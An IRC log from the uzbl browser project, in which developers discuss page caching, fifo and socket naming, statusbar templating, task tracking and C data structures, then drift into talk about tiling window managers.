11:05  * sm217 has none
11:06 < dodobas> hmm, i never even thought about that
11:06 < dodobas> is it possible to, 'store' currently rendered canvas to memory?
11:07 < dodobas> i.e. put this canvas on stack, follow link, in case of 'back' pull canvas from stack?
11:08 < sm217> sounds nice
11:08  * sm217 hates broadcom >:(
11:10 < Dieterbe> dodobas: i don't think it's worth it to keep the actual rendered page in cache.  we should just keep the "objects" (images, css, html files,..) in cache. building a rendered page from cached elements is very fast
11:10 < Dieterbe> it's just the network delays that are slow
11:10 < Dieterbe> and you need a way to check if your cache is still up to date or not
11:10 < sm217> hmm yes.
11:11 < Dieterbe> hmm otoh, caching rendered pages for usage in back/forward could still be acceptable if we cache them for max 5 mins or so
11:11 < dodobas> Dieterbe: true, i dont know anything about this
11:11 < sm217> good idea, it seems that opera does so
11:12 < sm217> because it switches back with speed of light.
11:12 < dodobas> anyway, what is the point of 'cache' if you are going to check if cache is expired when going 'back'
11:13 < dodobas> 'back' should be instant, and if user need a new version of page, page should be manualy refreshed
11:14 < Dieterbe> that's an option
11:14 < Dieterbe> i don't think there is a "right" or "wrong" here. just 2 different possible approaches
11:15 < rob|> so, i created a fork http://github.com/robm/uzbl/tree/master and will just push to it
11:15 < Dieterbe> you probably want to fork the experimental branch
11:16 < Dieterbe> that's where the broken fifo stuff is in right now
11:17 < sm217> why did you go back to it at all? seems I missed smth.
11:18 < dusanx> caching canvas sounds like fastest approach but I don't think it is possible, we need to cache elements or we lose links and bunch of stuff
11:18 < dodobas> lets face it, uzbl is going to be used by highly technical users, users that know which pages must be refreshed to see the changes
11:19 < Dieterbe> sm217: fifo's are nice.  they may be only half duplex, but it's the easiest to work with (you can write a plaintext string to it) and you don't need to fork another program to work with it (socket needs netcat/uzblctrl), so sockets are probably a bit slower
11:20 < sm217> Ah.
11:20 < Dieterbe> dodobas: maybe we could make it a setting: cache_recent_pages or something
11:20 < Dieterbe> but then we need to figure out how to cope the issue that dusanx meantioned
11:21 < Dieterbe> we just need to see what kind of hooks webkit forsees so at which point we can do caching
11:21 < dodobas> dusanx: could you explain 'lose links and bunch of stuff' ? :)
11:22 < dusanx> dodobas: if you cache canvas it's basically taking snapshot picture, right? Picture does not have elements (links, js, flash) and you can't click on any hyperlink.
11:23 < dodobas> dusanx: i did not mean to rasterize canvas, just store whole container in memory, and then retrive it as needed
11:24 < dodobas> dont know if it can be done
11:24 < dusanx> dodobas: then we are all talking about same thing :)
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11:27 < sm217> Going to have some kernel fun, and then pick something from todo list :>
11:30 < Dieterbe> #define kernel fuN?
11:31 < sm217> Well, I can't get wl driver working with kernels >= 2.6.29, going to try once more
11:32 < sm217> strang thing is, it does work for everyone else and me on stock arch kernel.
11:32 < sm217> but I want fbcondecor and tuxonice :`(
11:33 < dodobas> sm217: did you install 'crda'
11:33 < sm217> yes
11:33 < Dieterbe> sm217: why tuxonice? isn't it deprecated or something?
11:33 < dodobas> and enabled your country in config?
11:33 < sm217> no, it's not
11:34 < sm217> dodobas: problem is different
11:34 < rob|> Dieterbe: fifo wroking again, i also rebased the socket handling to io_add_watch
11:34 < sm217> kernel dies when I load/use it :D
11:34 < Dieterbe> rob|: you rock my socks
11:35 < rob|> there should probably a more generalized read function that can handle both input sources
11:35 < Dieterbe> yep indeed
11:35 < dodobas> sm217: ahh, bummer
11:35 < sm217> hmm
11:36 < Dieterbe> and also the "handling" should be more general. 1 function that takes care of the handling, whether the request comes from fifo/socket/internal keybind/externla keybind
11:36 < Dieterbe> but that was part of anydot's work i think
11:36 < sm217> dodobas: why? :o
11:36 < rob|> right, we should define the interfacing in a formal manner first, that makes writing consistent code easier
11:37 < dodobas> sm217: kernel dying on you like that :/
11:37 < sm217> heh
11:37 < sm217> like this: https://gist.github.com/9080258f0e23dc2512ee
11:38 < sm217> eww, wanted to try ubuntu kernel but it's .28.9
11:42 < rob|> any insights on rendering the website to actually fit the dimensions of the window?
11:44 < dusanx> rob|, Dieterbe: we may need scrollbars show/hide on demand, I noticed few problematic wide sites too and webkit just ignores that they are wider than window. I think that with horizontal scrollbar we can move around. Hate scrollbars.
11:45 < rob|> yep, the bars should probably unhide on hoovering above the bottom x pixels of the window or something like that
11:46 < dodobas> nah...
11:46 < dodobas> if a page i wider horizontaly then show the scrollbar
11:46 < dodobas> *is
11:47 < rob|> hmm
11:47 < dodobas> that way a user know that a displayed page is wider
11:47 < dodobas> diplay on hovering is eye-candy
11:47 < Dieterbe> well you don't need to display a scrollbar just to show the page is wider..
11:48 < dusanx> dodobas: not sure, even with few wide sites part that does not fit was interface right edges (few pixels I suspect) so I did not need them. I whould like to have key binding to turn them on/off
11:48 < Dieterbe> like we will show a % for position vertically, we can do the same horizontally, and use keybinds for horizontal scrolling
11:48 < rob|> dodobas: well it's not just eye-candy but a saves pixels
11:48 < rob|> -a
11:49 < dodobas> i like more the horizontal % idea
11:50 < rob|> where do you display the '%'?
11:51 < dodobas> status bar , right corner, something like (H75 V34)
11:51 < rob|> anyways, i'd vote for a more temporary/dymanic usage of gui elements i.e. only show them if needed
11:52 < rob|> so we don't occupy precious screen space for no reason
11:52 < dodobas> when you hit 100% it just shows H%% V%% or something like that
11:53 < Dieterbe> dodobas: currently, we don't show a vertical % right? or am i missing something
11:54 < dodobas> nope Dieterbe scrolling by key does not work
11:56 < Dieterbe> rob|: imho a % is better then showing a scrollbar. that way you always know where you are. even when you'r not busy scrolling
11:56 < sm217> \
11:56 < sm217> oh.
11:56 < sm217> been cleaning my laptop...
11:56 < rob|> Dieterbe: agreed
11:57 < dodobas> l8r
11:58 < rob|> ok, what about the naming of the fifo? right now it's not easy to programatically access it
11:58 < sm217> Dieterbe: I guess removing my fork won't affect original repo?
11:59 < sm217> I was working on master, want to cleanly re-fork and then start working.
11:59 < rob|> i'd propose to allow naming the uzbl instances something like "uzbl -name mutt_viewer" and creating the fifos/sockets based on that name like "/tmp/uzbl_fifo_mutt_viewer"
12:00 < Dieterbe> sm217: yep that's ok
12:00 < sm217> ok
12:00 < Dieterbe> rob|: right now we use the xorg window id
12:01 < Dieterbe> i think that's better then forcing users to pick a name
12:01 < rob|> well, but how do you programatically associate that to a specific instance?
12:02 < Dieterbe> and you can easily get the xorg window id with tools such as xdotool.  and when we call external scripts, we always pass the fifo filename as an argument
12:02 < Dieterbe> so I don't think it can be much better then that
12:03 < rob|> still, say i want to use the dmenu snippet i posted earlier, how would i know which fifo to use? i mean xdotool is nice, though you somewhere have to programatically find the right window
12:04 < rob|> based on the title or something, and exactly that is not possible
12:04 < dusanx> guys, how can I send GdkEventKey* to webview? want to simulate keypress
12:06 < rob|> dusanx: http://developer.gnome.org/doc/GGAD/z109.html#SEC-EMITTING
12:06 < dusanx> rob|: thanks
12:07 < Dieterbe> rob|: you have another point. but i don't really see the use case for it
12:08 < rob|> Dieterbe: actually that point is the only thing stopping me from using uzbl as my standard browser
12:09 < Dieterbe> oh, you want to trigger dmenu scripts "around the back" of uzbl
12:09 < Dieterbe> ie not through uzbl
12:09 < rob|> yes
12:09 < rob|> that's the whole point of using fifos, isn't it?
12:09 < Dieterbe> well in that case we need something like your approach
12:09 < Dieterbe> yeah indeed
12:10 < Dieterbe> hey tell you what
12:10 < dusanx> rob|: do you always want to send commands to focused window or you want to control them all?
12:10 < Dieterbe> i was gonna say "how are you going to keep this usable. eg not force users to pick a name for each running instance", but i guess we already know the ansver
12:10 < sm217> about configs, does stuff in [brackets] actually matter?
12:10 < Dieterbe> sm217: yes, it's the section
12:10 < dusanx> sm217: I think so
12:11 < rob|> Dieterbe: right the current way should be the fallback if no name is specified
12:11 < sm217> Ah, I'll look at the code then
12:11 < Dieterbe> rob|: that's exactly what i was thingking
12:11 < Dieterbe> rob|: btw we were already thingking about giving uzbl instances tags, but that was to categorize uzbl instances (eg 10 instances with tag 'work')
12:12 < Dieterbe> so yeah, we should probably give uzbl instances a unique name (optional) and a tag (optional)
12:13 < rob|> i guess the name is enough, by chosing the right names the user can categorize the windows as he wants
12:13 < sm217> and maybe use pid if name is not specified.
12:13 < rob|> the current WID approach is actually quite ok
12:14 < sm217> ah, yes.
12:14 < Dieterbe> sm217: no. xorg window id is better then pid, because you cannot get a pid when you know the window title, but you can get the xorg window id
12:14 < Dieterbe> rob|: not sure, because with name you want to uniquely identify 1 instance, whereas with the tag you want to group instances together 
12:15 < sm217> another thing, I'm going to implement key->url binding, but how do I call that? >_>
12:15 < Dieterbe> sm217: key = load_uri <someuri> ?
12:15 < rob|> Dieterbe: just chose a good naming theme for that like "tagstring:name" - that can easily be processed with the shell
12:16 < sm217> Dieterbe: no, the whole thing
12:16 < Dieterbe> rob|: hmmm
12:16 < sm217> TODO says to get rid of 'home page concept', how to call this then?
12:17 < Dieterbe> well, you should be able to define key shorttucs like the one i just said
12:18 < Dieterbe> it is more flexible then a home page concept 
12:18 < Dieterbe> though you could still call it home pages, if you want
12:18 < sm217> how to call it is the question :P
12:18 < Dieterbe> but right now we have a variable called home_page and even an action to "go to the homepage" and stuff like that, that should be gone
12:19 < sm217> maybe pagedefs?
12:19 < Dieterbe> o_O
12:19 < sm217> :)
12:19 < Dieterbe> they are keyboard shorctus, like any other
12:19 < sm217> okay then
12:20 < Dieterbe> we also don't give special names like "location modifiers" to keybinds like back and forward, do we :P
12:21 < sm217> What does modkey do?
12:22 < Dieterbe> press modkey+other key to trigger a command
12:22 < Dieterbe> like many applications use ctrl+x, ctrl+q etc right. well, ctrl is the modkey
12:22 < sm217> Hmm, they trigger without it for me
12:22 < Dieterbe> because you are in command mode
12:22 < sm217> Ah, it's for insert mode?
12:22 < Dieterbe> yep
12:23 < sm217> ok
12:23 < dusanx> or always_insert_mode ;)
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12:52 < sm217> oh, wait, that works already :D
12:52 < sm217> uri http://uzbl.org = q
12:57 < sm217> then I'll just cut hoepage stuff off.
12:57 < dusanx> sm217: why? I thought that we want home page?
12:58 < sm217> dusanx: TODO says we don't
12:58 < dusanx> should read todo lol
12:58 < dusanx> Dieterbe: we don't want home page?
12:58 < sm217> instead of having homepage stuff, isn't it simplier to have 'uri http://www.uzbl.org = h'? :P
12:59 < dusanx> cool, you are right
12:59 < sm217> funny we didn't see that earlier
13:00 < dusanx> sm217: there is bunch of things we can do with this architecture, I figure out thing or two every day :D
13:00 < sm217> :)
13:01 < sm217> wait, what about those who want  page open on broswser start?
13:02 < dusanx> --uri page
13:02 < sm217> ah, yes.
13:02 < dusanx> no problem, I use it all the time
13:02 < rob|> pushed the name patch
13:02 < dusanx> I have small local 'quickdial' with most common pages and google edit so I use that as tool for fast navigation
13:03 < rob|> "uzbl -name <string>" will name the fifos/sockets accordingly
13:03 < sm217> :)
13:04 < rob|> "-n" rather
13:05 < dusanx> I will have to change open in new window as Dieterbe suggested
13:05 < dusanx> b/c we have new switches
13:05 < Dieterbe> whoa whoa whoa
13:06 < Dieterbe> remember anydot was working on that
13:06 < dusanx> I had no idea
13:06 < Dieterbe> pick something else to work on today :P
13:06 < sm217> hmm
13:06 < dusanx> we need todo that lists both tasks and who is working on them to avoid duplication
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13:14 < dusanx> Dieterbe: any ideas how to keep track who is doing what?
13:14 < Dieterbe> rob|: can you also fix it so that you can see the name in the statusbar (or window title, when statusbar is hidden)
13:15 < Dieterbe> dusanx: putting names next to items in the TODO is an option, but then we need a central place to keep the TODO (eg my experimental branch), which means you need me, so that doesn't scale
13:15 < Dieterbe> maybe we should use the github issue tracker
13:15 < rob|> sure, do you prefer any special naming theme? like "[name_set_with_-n]  title"
13:15 < dusanx> Dieterbe: no, that's too slow
13:16 < Dieterbe> and if we want to do something, we file afeature request and put in it we are working on it
13:16 < sm217> About proxy support, it seems that webkit will obey http_proxy envar.
13:16 < Dieterbe> rob|: if you could align it to the right (and all the old stuff still to the left) that would be cool. otherwise pick whatever you want, as long as it doesn't take too much space. eg '[tag]'
13:17 < Dieterbe> sm217: sweeeeet
13:17 < dusanx> Dieterbe: hmm, I am thinking about some live solution, everything else is too slow. don't know what but we need it
13:17 < Dieterbe> dusanx: well? what about my github issue tracker proposal
13:17 < dusanx> Dieterbe: could be that, shell we test it?
13:20 < Dieterbe> aha
13:20 < Dieterbe> http://github.com/Dieterbe/uzbl/issues#issue/3
13:20 < Dieterbe> i can just take an issue and put my name in the title
13:20 < Dieterbe> does that also work for you?
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13:24 < github> uzbl: Dieter Plaetinck master SHA1-c8664c6
13:24 < github> merge from dusanx branch. at least i hope so
13:24 < github> http://bit.ly/ny1TD
13:24 < github> uzbl: Dieter Plaetinck master SHA1-22d2a06
13:24 < github> pulled in dusanx latest stuff
13:24 < github> http://bit.ly/iyx4G
13:24 < github> uzbl: dusanx master SHA1-3fcc6c7
13:24 < github> Open in new window and config_file bugfix
13:24 < github> http://bit.ly/iNJ6B
13:24 < github> uzbl: dusanx master SHA1-c95a4c0
13:24 < github> Minor changes, vi formatting
13:24 < github> http://bit.ly/n2RmE
13:24 < github> uzbl: Dieter Plaetinck master SHA1-33e2d22
13:24 < github> pulling in latest code from dusanx
13:24 < github> http://bit.ly/Lu2yt
13:24 < Dieterbe> uh oh
13:24 < github> uzbl: Dieter Plaetinck master SHA1-37e1857
13:24 < github> merge in dusanx stuff
13:24 < github> http://bit.ly/523qW
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13:26 < Dieterbe> dusanx: does it work for you?
13:28 < dusanx> sorry was out
13:28 < dusanx> let me see
13:30 < dusanx> ok, looks promissing, lets try to use it
13:32 < dusanx> Dieterbe: check issues, is that what you meant?
13:33 < Dieterbe> yes, pick an issue and try if you can edit it and add your name to it's title
13:33 < dusanx> but I can't edit issues so you will have to do assignments
13:34 < dusanx> no, but we can use this list -- for all new issues you can assign name and for ones we open we can say if we are working on them
13:34 < dusanx> not bad
13:35 < Dieterbe> but still it would be better if you could add your names yourself
13:35 < Dieterbe> i'm in #github asking about this
13:35 < dusanx> Dieterbe: absolutely
13:37 < sm217> Eww.
13:38 < sm217> http_proxy doesn't work and _no_ webkit api docs at all :S
13:38 < dusanx> sm217: same for caching
13:38 < sm217> http://webkit.org/projects/webkit/ :D
13:38 < rob|> so, title/status showing instance name pushed. it is shown in the format "<name>"
13:40 < Dieterbe> dusanx: can you try this: http://github.com/Dieterbe/uzbl/issues, select an issue (not the one you just made), toggle it's select thingie, and then on the right click on the arrow button next to "dusan" and do "apply tag to selected item"
13:43 < dusanx> Dieterbe: trying
13:43 < dusanx> what is select thingie?
13:44 < rob|> http://omploader.org/vMWxxeQ  :)
13:45 < Dieterbe> dusanx: the button on the left of the "dusan" tag
13:45 < dusanx> Dieterbe: this can be admin thing, I don't see it
13:45 < sm217> rob|: nice :)
13:45 < Dieterbe> ok
13:46 < dusanx> Dieterbe: I have labels on the right, only dusan is there and I can't do anything
13:46 < Dieterbe> ok
13:46 < dusanx> Dieterbe: looks like when you start title with [name] that becomes label and is differently displayed
13:47 < dusanx> but nothing changes anyway, I can't edit other people issues...
13:47 < Dieterbe> dusanx: no no, i already added the label dusan to your ticket ;)
13:47 < dusanx> lol
13:48 < dusanx> but I can't click label and assign it to task, looks like checkbox but can't be clicked
13:48 < Dieterbe> dusanx: can you create a new ticket and see if you can give it a label?
13:48 < dusanx> let me see
13:48 < Dieterbe> maybe on the right you have the arrow thingie now
13:49 < dusanx> Dieterbe: I can't assign label and can't edit title I did :(
13:50 < dusanx> Dieterbe: just tried ticket #7
13:50 < dusanx> can't do anything
13:51 < Dieterbe> ok
13:52 < dusanx> Dieterbe: something like this http://misc.infosnel.nl/task/ ?
13:54 < Dieterbe> If you want to come back later, you can bookmark this using your personal link. However, keep in mind that if nobody looks at this list for more then 24 hours, it will be deleted.
13:54 < Dieterbe> tricky
13:54 < dusanx> I know but there is bunch of similar lists, let me check them, this is first one I found
13:54 < dusanx> we need something that we can all edit at once
13:55 < Dieterbe> and doesn't delete itself :P
13:55 < dusanx> 'this list will self destruct in 10... 9... ' :P
13:55 < Dieterbe> or maybe we should really put a flyspray on uzbl.org=
13:56 < dusanx> Dieterbe: something like that if there is no better tool we can find
13:57 < dusanx> uzbl grows rapidly, we all need to keep up with changes
13:58 < Dieterbe> yes i almost feel like linus torvalds ;)
13:58 < Dieterbe> all those patches coming in
13:58 < dusanx> hmm google docs?
13:58 < Dieterbe> so little time to really read them all
13:59 < dusanx> :)
13:59 < Dieterbe> you know there's actually a lot of code in uzbl right now that i don't know 100% how it works :/
13:59 < dusanx> I know too well :(
14:00 < dusanx> Dieterbe: ok, start planing uzbl conference 2009
14:00 < Dieterbe> :)
14:00 < dusanx> you can give speeches
14:00 < dusanx> I will prepare action figures...
14:00 < Dieterbe> "i have a dream...a dream to make the perfect browser" ;)
14:01 < dusanx> uzbl expo, maldives, september 2009? :P
14:03 < dusanx> http://spreadsheets.google.com/ccc?key=rgQGyMFNC-zF3XLQF3vh6Ow
14:04 < Dieterbe> ugh, google
14:04 < dusanx> ugh
14:04 < Dieterbe> i like google for their search engine, but not for their world domination plans :P
14:04 < dusanx> true
14:04 < dusanx> but it's best I could find :(
14:05 < dusanx> you should be able to edit it now
14:06 < dusanx> wow they are good
14:06 < dusanx> I just got notified that evgeny opened same
14:06 < dusanx> shit this works, try it
14:07 < sm217> that was me :P
14:07 < Dieterbe> i have to register on google or something?
14:07 < dusanx> I could see cursor moving
14:07 < dusanx> think I opened access to all
14:08 < sm217> funny :P
14:08 < dusanx> very real time
14:08 < sm217> :D
14:08 < dusanx> respect to google, they did good job
14:08 < Dieterbe> but to use it, i must register?
14:09 < dusanx> try that link, I think that access is now free
14:09 < dusanx> if not yes, register
14:09 < dusanx> you must  see how this works, I am fascinated
14:10 < dusanx> see you
14:11 < Dieterbe> pretty cool indeed. but doesn't beat our own hosted bug tracking thing
14:11 < dusanx> THIS is what I had in mind!
14:11 < dusanx> true
14:11 < dusanx> but as far as collaboration goes I have not seen better tool yet
14:13 < Dieterbe> when i am home from work, or barrucadu is here. i'll setup a flyspray or something
14:13 < dusanx> thanks
14:13 < Dieterbe> oh wait, dusanx you also have ssh access to the server right
14:13 < Dieterbe> if you're bored, feel free :)
14:13 < dusanx> shoul be
14:13 < dusanx> nah, I am still getting familiar with web things, I am desktop guy :)
14:14 < dusanx> web is everywhere for the last ten or so years, for us ents that's too short time
14:15 < Dieterbe> so, what's your point?
14:15 < dusanx> I have no idea how to install flyspray
14:16 < dusanx> you or b will have to do it ;)
14:17 < Dieterbe> sigh
14:17 < dusanx> whenever I had web contract I had to hire somebody, never did anything myself...
14:21 < Dieterbe> :)
14:24 < sm217> hmm
14:24 < sm217> I can do web stuff, I'm been keeping a forum up for year or so already
14:26 < sm217> http://garrysmod.ru/ that is.
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15:00 < rob|> http://omploader.org/vMWxyZg  <-- note the statusbar in the lower left, assigning colours to the tag make it even more readable and useful imo
15:00 < rob|> *makes
15:01 < dusanx> rob|: what happens when you turn off status bar, how colors behave in title bar?
15:02 < rob|> i use separate strings for the title and statusbar
15:02 < Dieterbe> rob|: oh man. i was gonna hack on coloring the statusbar tonight, i kept it silent so noone would beat me to it, but now you did it (partially) :P
15:02 < rob|> note "main-browser" is enclosed in <> in the title
15:02 < rob|> hehe
15:02 < dusanx> cool
15:02 < Dieterbe> looking good btw
15:03 < Dieterbe> but i want to make the colors configurable in the config file
15:03 < rob|> still, we need a way to let the user define the colours
15:03 < rob|> heh, exactly
15:03 < Dieterbe> what, you do it again :P
15:03 < Dieterbe> stop doing this ;)
15:03 < dusanx> Dieterbe: I will skip tonights merge, want to wait for proper task assignment, everything I want to do is already being done by someone else :D
15:04 < Dieterbe> rob|: my idea was to make the statusbar background configurable, and the foreground color (text), but coloring the individual things could also be good
15:05 < dusanx> rob|, Dieterbe: I wanted to make taskbar_string that would preprocess variables so you can have configurable taksbar text...
15:05 < dusanx> but if somebody wants to do it...
15:06 < Dieterbe> dusanx: hmm.. what would anyone want to put in it?
15:06 < dusanx> you want mode - name - title, I want title - something for instance?
15:07 < Dieterbe> oh, right
15:07 < rob|> sounds good, i guess we could just use pango's markup language and just define the different bits shown on the statusbar as symbolic constans like "BROWSERNAME", "PAGETITLE", etc.
15:07 < Dieterbe> but then you need some sort of template language
15:07 < dusanx> you could define colors within bar string?
15:07 < rob|> yes
15:07 < dusanx> it's two lines of code
15:07 < dusanx> status_bar = %title% - %tag% etc
15:08 < rob|> http://library.gnome.org/devel/pango/stable/PangoMarkupFormat.html
15:09 < dusanx> rob|: looks good
15:10 < dusanx> few string replaces and that's it
15:10 < rob|> together with the template, uzbl would be able to do stuff no other browser can
15:10 < rob|> at least not so easily
15:10 < dusanx> exactly
15:10 < dusanx> we need title_short, title_long and statusbar texts
15:11 < rob|> i'd say we need an array or hash with all the bits of the bar as separate entries, then combining them to a user specified format should be trivial
15:13 < jouz> i made a patch to add custom keybindings for scrolling (now you can do it unix style with hjkl), are you intrested? i already forked on github and applied  it against dieterbe's latest experimantal branch.
15:13 < jouz> http://github.com/jouz/uzbl/
15:16 < rob|> btw, i'll be away from friday to monday so no uzbl hacking during that time
15:16 < dusanx> jouz: looks great, if it works I vote for inclusion.
15:17 < Dieterbe> jouz: interested? that was an item on my todo list. you bet i'm interested :)
15:17 < jouz> dusanx: it works and compiles flawless. haven't tested it extensively though :)
15:18 < jouz> Dieterbe: i'm happy to help!
15:18 < dusanx> jouz: looks good. if it scrolls that's the only test we need lol
15:19 < jouz> dusanx: :D
15:19  * jouz is away to get something to eat
15:20 < sm217> oh
15:20 < sm217> why did you mention food? :(
15:23 < Dieterbe> is it just me or is the font @ http://library.gnome.org/devel/pango/stable/PangoMarkupFormat.html really screwed
15:23 < Dieterbe> heh, only in FF
15:23 < Dieterbe> with uzbl it works ^^
15:24 < Dieterbe> dusanx , rob| seems like you can specific style, foreground/background color etc with this format.  that's great stuff
15:24 < dusanx> looking, great indeed
15:30 < Dieterbe> anyway feel free to do it :P
15:30 < Dieterbe> i'll come up with something else i can do :P
15:32 < rob|> i guess it's time to agree on some basic data structures that hold all the different bits of information
15:32 < rob|> probably a big uzbl struct that holds all members and sub-members would be good
15:34 < rob|> that way we keep the code extandable and tighten the datastructures into a single place
15:36 < rob|> like: struct uzbl { struct gui { ...}, struct communication { struct fifo, struct socket}}, ... }
15:37 < rob|> and access the lements with uzbl.communication.fifo.path
15:37 < rob|> *elements
15:37 < rob|> etc.
15:37 < Dieterbe> what's the advantage of that over gui_foo = ; comm_blah = ; ... ?
15:38 < rob|> it's way more logical and easy to look through
15:38 < Dieterbe> i don't see why.. as long as you defined them at the same place it's easy to get an overview
15:38 < dusanx> rob|: than we must access any element with uzbl.gui.foo.
15:39 < dusanx> it may be bit nicer to read
15:39 < rob|> not necessarily, functions that manipulate only specific sets of that struct can have short hand names (pointers) that point to the struct that needs to be modified
15:39 < rob|> or even the element
15:41 < rob|> like: struct communication *comm = &uzbl.communication;
15:41 < Dieterbe> ooh
15:41 < rob|> and then: comm->fifo.path, etc.
15:41 < Dieterbe> that's eleet
15:42 < Dieterbe> sounds good to me
15:42 < rob|> no, that's just usinf sane data structures ;)
15:42 < dusanx> we need no stinkin' sane but I like it ;)
15:42 < rob|> i'd also typedef the substructures for easy pointer definition
15:43 < Dieterbe> i think my C experience is much, much less then yours, so i trust you on this :) (and on many other C things, actually)
15:43 < Dieterbe> typedef substruct? woezzel wazzel?
15:44 < rob|> well, you certainly know what typedef does
15:45 < Dieterbe> yeah
15:45 < rob|> it basically defines own variable types, pretty much what gchar&co. are
15:45 < Dieterbe> so you define the sub struct formats first, and then use them in the "main" one?
15:45 < rob|> so we would define own types for each substructure
15:46 < Dieterbe> ok
15:48 < Dieterbe> dusanx: can you merge in the code from other people that you think deserves merging in? then people can base themselves on your branch
15:48 < Dieterbe> i don't want to hold back development :)
15:48 < Dieterbe> and if we don't have a central merging point where people can merge from/to, we will get conflicts
15:49 < Dieterbe> and then tonight i pull from you (or barrucadu, who seems to merge in your code always)
15:50 < rob|> http://pastebin.com/m3d88c776  <-- a bit like shown here
15:50 < rob|> we need to agree on the exact structure and naming of thing, though
15:50 < rob|> *things
15:51 < Dieterbe> i like this
15:51 < Dieterbe> but please, rob| and dusanx , make sure your code bases don't go too far out of each other or you will get merge conflicts
15:52 < dusanx> I have no current code base argh :( You will merge from rob and I will merge from you :P
15:52 < dusanx> I mean code base difference lol
15:53 < Dieterbe> fine by me
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15:53 < dusanx> did few experiments to code vim cursor keybindings but I was too slow
15:53 < rob|> but please, use a uzbl.h to define the main data structures
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15:58 < Dieterbe> rob|: remember, we all share the responsability for the code base now ;)
15:58 < rob|> right, that's why i propose to agree on some basic infrastructure
15:59 < dusanx> OK, I agree :)
15:59 < Dieterbe> me too
15:59 < Dieterbe> rob|: i suggest you can just implement it the way you thin it will be best, and we will almost certainly merge it
16:00 < Dieterbe> or if you want to discuss more things, just say so :)
16:00 < rob|> well, i'm completly open (as a non-native english speaker) to the naming theme of the structures and variables
16:01 < dusanx> only Barrucady is native lol
16:02 < dusanx> rob|: feel free to lead, we'll follow your theme
16:02 < Dieterbe> indeed
16:02 < Dieterbe> and if we don't agree we can still change it later
16:05 < rob|> alright, so i'll just look what happened till monday and will do some stuff myself if you guys didn't agree on something until then
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16:11  * rob| is advertising uzbl on some channles ;)
16:11 < Dieterbe> :P such as?
16:12 < rob|> #dwm
16:12 < rob|> :)
16:12 < dusanx> I posted dwm mailing list announcement few days ago but channel is even better ;)
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16:12 < Dieterbe> isn't this way too bloated for dwm users :P
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16:13 < rob|> we'll see, one guy is interested already :)
16:13 < dusanx> yes and no. it's better than conkeror. I am dwm user and it's not too big for me ;)
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16:14 < Dieterbe> it's perfect for the wmii user i think. <cough>wmii is the best!</cough>
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16:15  * rob| holds the flag for xmonad :)
16:15 < Sleepy_Coder> Wmii cannot do more than 2 columns, I believe. :>
16:16 < Sleepy_Coder> So it's layouting is (slightly?) flawed. :>
16:16 < Sleepy_Coder> I tend to think i3 has more flexible layouts... .but it doesn't have floating, so.
16:16 < Sleepy_Coder> Also can't expand a horizontal table cell across 3 columns. :>
16:17 < jouz> Sleepy_Coder: haven't been using wmii for a long time, but i'm pretty sure it does more than 2 columns!
16:17 < Sleepy_Coder> Okay.. well, if you would love to screenshot...
16:17 < Sleepy_Coder> wmii was the first tiling window manager I used. :>
16:18 < Sleepy_Coder> I couldn't get into awesome at the time, felt like a complication.  Then I fell for dwm, and only then did I give awesome a shot.  After a few months I got tired of contending with how the C exports objects to the lua and decided to give that a rest... I'm back on dwm.
16:18 < rob|> http://dzen.geekmode.org/dwiki/lib/exe/fetch.php?cache=cache&media=dzen:xmdz-notf.png  <-- my main xmonad working setup
16:19 < rob|> it runs debian, though - need to convert to arch on the main pc soon
16:19 < Sleepy_Coder> xmonad looks really interesting, but the dependencies scared me away. :>  it uses a zipper data structure to handle window focusing
16:19 < Sleepy_Coder> Very neat. :3
16:19 < Dieterbe> rob|: cool, you really want to switch to arch?
16:20 < jouz> rob|: your vim-colorscheme makes my eyes bleed... :)
16:20 < rob|> yes, from what i've seen during my 3 arch days it's definitly worth the switch :)
16:20 < Sleepy_Coder> I cannot view that. :(
16:21 < rob|> the screenshot?
16:21 < Sleepy_Coder> Yes. :<
16:21 < rob|> odd
16:21 < Sleepy_Coder> It's hard to poke fun at people when you can't see the evidence of their failures
16:21  * Sleepy_Coder cries
16:22 < Sleepy_Coder> At least Haskell is really coming into it's own.
16:22 < rob|> hmm, the link works fine in ff and uzbl
16:22 < rob|> what are you suing?
16:23 < Sleepy_Coder> Chrome, unfortunately
16:23 < dusanx> what?!
16:23 < Sleepy_Coder> Well, no, I like Chrome.  But this is on Vista
16:23  * Sleepy_Coder has a separate partition for Vista Ultimate so he can play games
16:23 < dusanx> poor poor guy :D
16:23 < Sleepy_Coder> Unreal Tournament 3 is not yet out for Linux. :>
16:24 < rob|> Sleepy_Coder: you must be doing something wrong (TM) - works for me in chrome without any glitches
16:24 < Sleepy_Coder> According to some random girl on the mailing list, it's going to compete with the Jimmy Nukem game
16:24 < Sleepy_Coder> rob|: I blame Microsoft.
16:24  * Sleepy_Coder checks dns
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16:24 < rob|> yeah, they are to blame in any respect ;)
16:25 < Sleepy_Coder> hah, cannot reach geekmode.org at all
16:25 < Sleepy_Coder> Believe I'm using OpenDNS as my nameservers...
16:25 < Sleepy_Coder> wtf.
16:25 < Sleepy_Coder> It's working onw.
16:26 < rob|> strange
16:26 < Sleepy_Coder> that is odd...
16:27 < Sleepy_Coder> hmm, that is nice
16:27 < Sleepy_Coder> all except for your vim theme
16:27 < Sleepy_Coder> :p
16:27 < Sleepy_Coder> Reminds me, I must convert dmenu to use xcb later
16:29 < Dieterbe> Sleepy_Coder: are you a dmenu dev?
16:29 < Sleepy_Coder> Nope, but the devs seem to have an aversion for xcb
16:30 < Sleepy_Coder> awesome uses it, and it's fantastic (asyncronous x server communication)
16:30 < Sleepy_Coder> But I missed the simplicity of dwm (NO lua scripting), so I moved back to dwm as my primary window manager.:>
16:30 < Sleepy_Coder> And it uses the old syncronous Xlib, so...
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16:32 < Sleepy_Coder> (With libxcb and friends, you create as many requests at a time and send them to the server as a group rather than one-by-one.  Then you generate a cookie which is linked to the reply whenever it gets back from the x server)
16:32 < Sleepy_Coder> It drastically increases performance. :>
16:32 < Sleepy_Coder> Or at least, that's my understanding of it.  I've been meddling with examples for a few months now...
16:33 < Sleepy_Coder> With the traditional approach, you generate a request and send it to the xserver right away, and wait for a reply before doing anything else. :>
16:33 < rob|> but awesome is still sloooooow compared to most other tiling WMs
16:33 < Sleepy_Coder> Have you used it?
16:34 < Sleepy_Coder> Cause I seem to remember it kicking dwm's ass when running a floating mplayer window and moving it around the screen or resizing it with a video playing. :p
16:34 < Sleepy_Coder> That's pretty much the easiest way to test dwm's bottleneck. :]
16:35 < rob|> i did (some time ago), though compared it to xmonad
16:35 < Sleepy_Coder> But dwm is an excellent base as it's spawned, awesome, (wmii?), echinus, xmonad, and a few others...
